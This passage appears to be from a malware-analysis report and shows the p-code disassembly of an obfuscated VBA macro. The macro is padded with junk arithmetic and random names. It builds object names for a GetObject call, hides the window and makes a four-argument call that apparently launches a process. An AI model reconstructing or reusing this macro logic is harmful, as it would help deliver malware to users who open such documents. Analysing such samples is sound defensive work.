' 	LitDI4 0x3844 0x2C84 
' 	LitDI4 0x21AD 0x0594 
' 	Sub 
' 	LitDI4 0x3328 0x3796 
' 	Add 
' 	Ld zAZwcA 
' 	Ld IXAACAC 
' 	Div 
' 	Sub 
' 	LitDI4 0x9DE9 0x152B 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St f4ADDAoA 
' Line #13:
' 	EndSelect 
' Line #14:
' 	Ld LB_BAxw 
' 	SelectCase 
' Line #15:
' 	LitDI4 0xA8FE 0x2EA2 
' 	Case 
' 	CaseDone 
' Line #16:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld T_Z_DAA 
' 	LitDI4 0xE6AA 0x2AF3 
' 	Div 
' 	Ld XBCB4BAA 
' 	Div 
' 	Ld MDAAUo_ 
' 	LitDI4 0x8194 0x3829 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x63CD 0x0EFC 
' 	LitDI4 0xE411 0x2DE2 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St UXAAkD 
' Line #17:
' 	LitDI4 0x38A0 0x0F73 
' 	Ld dCAAADBB 
' 	Mul 
' 	St wADCQD 
' Line #18:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xEBA4 0x2E73 
' 	LitDI4 0xD0DE 0x0E0D 
' 	Sub 
' 	LitDI4 0x77A8 0x2512 
' 	Add 
' 	Ld MA_4AAAx 
' 	Ld fAQ1QB 
' 	Div 
' 	Sub 
' 	LitDI4 0xAD2E 0x0E49 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St jAUD1A 
' Line #19:
' 	EndSelect 
' Line #20:
' 	SetStmt 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd wBQkAA 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd P41oAXA 0x0001 
' 	Set Bo1AAG_ 
' Line #21:
' 	Ld T_DQQAZ 
' 	SelectCase 
' Line #22:
' 	LitDI4 0xB6BB 0x01CC 
' 	Case 
' 	CaseDone 
' Line #23:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld cAwGAA 
' 	LitDI4 0xB9DA 0x1598 
' 	Div 
' 	Ld bUABABA 
' 	Div 
' 	Ld c1cccQx 
' 	LitDI4 0x8DCC 0x0FED 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x48E4 0x1D5B 
' 	LitDI4 0x10BB 0x12AE 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St u1BAQQXA 
' Line #24:
' 	LitDI4 0xE180 0x2AFE 
' 	Ld YUC4AZA 
' 	Mul 
' 	St VZBBAG 
' Line #25:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x8B89 0x30AB 
' 	LitDI4 0x0BAA 0x35D8 
' 	Sub 
' 	LitDI4 0x6D1F 0x2EB5 
' 	Add 
' 	Ld jDAZBcQ 
' 	Ld WwcBADBZ 
' 	Div 
' 	Sub 
' 	LitDI4 0x5CAB 0x39A7 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St ZUQC_AAB 
' Line #26:
' 	EndSelect 
' Line #27:
' 	Ld GwADxo 
' 	SelectCase 
' Line #28:
' 	LitDI4 0x57AA 0x146C 
' 	Case 
' 	CaseDone 
' Line #29:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld YQCABAGU 
' 	LitDI4 0x9873 0x2FEC 
' 	Div 
' 	Ld aZAAkZ 
' 	Div 
' 	Ld ZAkCAAA 
' 	LitDI4 0xC38A 0x381B 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x96F2 0x03ED 
' 	LitDI4 0x46EC 0x3440 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St QG_BkUU4 
' Line #30:
' 	LitDI4 0xA160 0x001E 
' 	Ld DkZAAXA 
' 	Mul 
' 	St nAUAkCck 
' Line #31:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x615C 0x11FE 
' 	LitDI4 0x14B1 0x3805 
' 	Sub 
' 	LitDI4 0x40E8 0x0041 
' 	Add 
' 	Ld qCCo_4U 
' 	Ld dGA4xAAx 
' 	Div 
' 	Sub 
' 	LitDI4 0x20B6 0x2541 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St ICBADBo 
' Line #32:
' 	EndSelect 
' Line #33:
' 	Ld mBAQCQ 
' 	SelectCase 
' Line #34:
' 	LitDI4 0x426B 0x39A3 
' 	Case 
' 	CaseDone 
' Line #35:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld doACwB 
' 	LitDI4 0xFF60 0x2F34 
' 	Div 
' 	Ld UAXoZ1A 
' 	Div 
' 	Ld J4Uw1x1 
' 	LitDI4 0x372C 0x1AF8 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x7918 0x22FC 
' 	LitDI4 0x9D30 0x2FA9 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St kwCAABQA 
' Line #36:
' 	LitDI4 0x1A23 0x1CF5 
' 	Ld FABAAw 
' 	Mul 
' 	St fc1XxD 
' Line #37:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xBA5A 0x05CD 
' 	LitDI4 0x9C84 0x1AC3 
' 	Sub 
' 	LitDI4 0xAFA3 0x0B24 
' 	Add 
' 	Ld i1G_AU4 
' 	Ld kBAwAk 
' 	Div 
' 	Sub 
' 	LitDI4 0x28F2 0x2F0A 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St jAQZAQB 
' Line #38:
' 	EndSelect 
' Line #39:
' 	LitDI4 0xD535 0x0004 
' 	LitDI4 0xD535 0x0004 
' 	Sub 
' 	Ld Bo1AAG_ 
' 	MemSt WDQcAUAw 
' Line #40:
' 	Ld ShowWindow 
' 	SelectCase 
' Line #41:
' 	LitDI4 0x8880 0x120C 
' 	Case 
' 	CaseDone 
' Line #42:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld zZxABUU 
' 	LitDI4 0x36E4 0x2A68 
' 	Div 
' 	Ld J_okDA 
' 	Div 
' 	Ld A1ABkA 
' 	LitDI4 0xCD0E 0x0C60 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x3777 0x2669 
' 	LitDI4 0x2585 0x08BD 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St LcZGAUDU 
' Line #43:
' 	LitDI4 0x146B 0x0615 
' 	Ld S4UUQQQ 
' 	Mul 
' 	St iAABAAc 
' Line #44:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xF213 0x22E0 
' 	LitDI4 0x30F5 0x0804 
' 	Sub 
' 	LitDI4 0x15B2 0x26DE 
' 	Add 
' 	Ld TDAxAAB 
' 	Ld lGAUAU4Q 
' 	Div 
' 	Sub 
' 	LitDI4 0x148B 0x2F29 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St vxAA14 
' Line #45:
' 	EndSelect 
' Line #46:
' 	Ld tQX1kAA 
' 	SelectCase 
' Line #47:
' 	LitDI4 0x04E6 0x2C05 
' 	Case 
' 	CaseDone 
' Line #48:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld TAoxA_ 
' 	LitDI4 0x51D3 0x0954 
' 	Div 
' 	Ld iAADAA 
' 	Div 
' 	Ld bkGoAA 
' 	LitDI4 0xFF10 0x233C 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x04BA 0x1E16 
' 	LitDI4 0x8F58 0x1EAF 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St NZ1QcAAc 
' Line #49:
' 	LitDI4 0xC845 0x1F5A 
' 	Ld PAABUC 
' 	Mul 
' 	St NxAQAQAA 
' Line #50:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x549D 0x18BA 
' 	LitDI4 0xA523 0x3A2B 
' 	Sub 
' 	LitDI4 0x25C3 0x36F0 
' 	Add 
' 	Ld hwAAAAZ 
' 	Ld GA4GwX 
' 	Div 
' 	Sub 
' 	LitDI4 0x964C 0x387D 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St uA4xAAA 
' Line #51:
' 	EndSelect 
' Line #52:
' 	Ld a1DQQk_ 
' 	SelectCase 
' Line #53:
' 	LitDI4 0xD8FE 0x1216 
' 	Case 
' 	CaseDone 
' Line #54:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld RBUAAkQA 
' 	LitDI4 0xAB9D 0x274A 
' 	Div 
' 	Ld vcCDxU 
' 	Div 
' 	Ld aGAxAAXC 
' 	LitDI4 0x3BE1 0x0353 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x76D8 0x3652 
' 	LitDI4 0x4875 0x303C 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St QA_AxX 
' Line #55:
' 	LitDI4 0x4F45 0x1536 
' 	Ld HDxwUAAZ 
' 	Mul 
' 	St d_wDGAoA 
' Line #56:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x2BA5 0x0853 
' 	LitDI4 0x90FF 0x2627 
' 	Sub 
' 	LitDI4 0x6FBC 0x23F7 
' 	Add 
' 	Ld lA4G4A1 
' 	Ld zcXCAQAA 
' 	Div 
' 	Sub 
' 	LitDI4 0x8FC0 0x2E4D 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St XDxBc14 
' Line #57:
' 	EndSelect 
' Line #58:
' 	LineCont 0x0004 0E 00 00 00
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Create 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd RDBZUD 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd kk_cwA 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd bwCZZ_4 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd pAoQAB 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	Ld SA_GADAX 
' 	Ld Bo1AAG_ 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd LQGA4QA 
' 	Add 
' 	Ld d_kDCBUA 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd P41oAXA 0x0001 
' 	ArgsMemCall JcZXQCBB 0x0004 
' Line #59:
' 	Ld iUAo4A 
' 	SelectCase 
' Line #60:
' 	LitDI4 0xEA46 0x287E 
' 	Case 
' 	CaseDone 
' Line #61:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld zwQ_4UxA 
' 	LitDI4 0x660E 0x3A49 
' 	Div 
' 	Ld w1BZQAUA 
' 	Div 
' 	Ld jxQwABc 
' 	LitDI4 0x871A 0x0178 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xAEB0 0x357E 
' 	LitDI4 0xEDBF 0x2990 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St IAQUAB_A 
' Line #62:
' 	LitDI4 0x1DAE 0x2BC3 
' 	Ld CXwACXQA 
' 	Mul 
' 	St EGAxBoC 
' Line #63:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xCE7E 0x2922 
' 	LitDI4 0x4BEE 0x1A00 
' 	Sub 
' 	LitDI4 0x7850 0x10B8 
' 	Add 
' 	Ld NG1UBGAD 
' 	Ld hAAAQAXB 
' 	Div 
' 	Sub 
' 	LitDI4 0x4B29 0x0714 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St GUAXAAoB 
' Line #64:
' 	EndSelect 
' Line #65:
' 	Ld wQABUUQx 
' 	SelectCase 
' Line #66:
' 	LitDI4 0xA8C1 0x0F73 
' 	Case 
' 	CaseDone 
' Line #67:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld nDQoAAQA 
' 	LitDI4 0xBC7D 0x1D83 
' 	Div 
' 	Ld nwCAAA1 
' 	Div 
' 	Ld NA_QAoUB 
' 	LitDI4 0x65FA 0x2B6E 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xEDA0 0x0B80 
' 	LitDI4 0x61E9 0x1582 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St H_UwAkw 
' Line #68:
' 	LitDI4 0x813B 0x29D3 
' 	Ld P_BCQAB 
' 	Mul 
' 	St F1DAXww 
' Line #69:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x5C93 0x1851 
' 	LitDI4 0x8B47 0x22A8 
' 	Sub 
' 	LitDI4 0xCEDE 0x1202 
' 	Add 
' 	Ld OUA_BGCU 
' 	Ld jAcCwD_A 
' 	Div 
' 	Sub 
' 	LitDI4 0x5444 0x156A 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St OD_kAAUB 
' Line #70:
' 	EndSelect 
' Line #71:
' 	EndSub 
' Line #72:

Open this report in the interactive analyzer, or submit your own file for analysis.